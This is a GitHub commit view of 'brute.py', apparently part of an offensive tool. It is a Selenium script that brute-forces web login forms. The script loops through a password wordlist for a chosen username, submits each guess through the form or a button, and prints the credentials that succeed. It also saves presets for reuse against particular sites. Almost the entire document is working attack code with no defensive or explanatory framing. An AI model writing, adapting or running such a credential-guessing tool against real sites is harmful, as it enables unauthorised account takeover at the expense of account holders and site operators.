Update brute.py

main
witchdocsec 2024-05-16 13:17:21 +01:00 committed by GitHub
parent cd90e9cc35
commit 082e2db818
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 30 additions and 0 deletions

View File

@ -1,36 +1,66 @@
#imports
from selenium import webdriver
from selenium.webdriver.common.by import By
import lib.presets
import time
#define brute function
def brute(args):
#load preset
if args.command == "preset":
args=lib.presets.load_preset(args)
#set browser
if args.browser == "firefox":
driver = webdriver.Firefox()
else:
driver = webdriver.Chrome()
#make preset
if args.command == "brute":
if args.makepreset:
lib.presets.make_preset(args.presetname,args.browser,str(args.url),args.userfield,args.passwordfield,args.formnumber,args.button,args.targeturl)
#open wordlist
with open(args.wordlist,"r") as wlist:
#for each line
for line in wlist:
#load url to brute on
driver.get(args.url)
#get userfield by "name" css selector
ufield=driver.find_element(By.CSS_SELECTOR, f'[name="{args.userfield}"]')
#send username
ufield.send_keys(args.username)
#get passwordfield by "name" css selector
pfield=driver.find_element(By.CSS_SELECTOR, f'[name="{args.passwordfield}"]')
#send line
pfield.send_keys(line.replace("\n",""))
#check form or button mode
if args.formnumber:
#find and submit form
forms=driver.find_elements(By.TAG_NAME,"form")
form=forms[int(args.formnumber)]
form.submit()
else:
#find and click button
btn=driver.find_element(By.ID, args.button)
btn.click()
#wait
time.sleep(1)
#check success
if driver.current_url.startswith(args.targeturl):
#print creeds
print(f"{args.username} : {line}")
break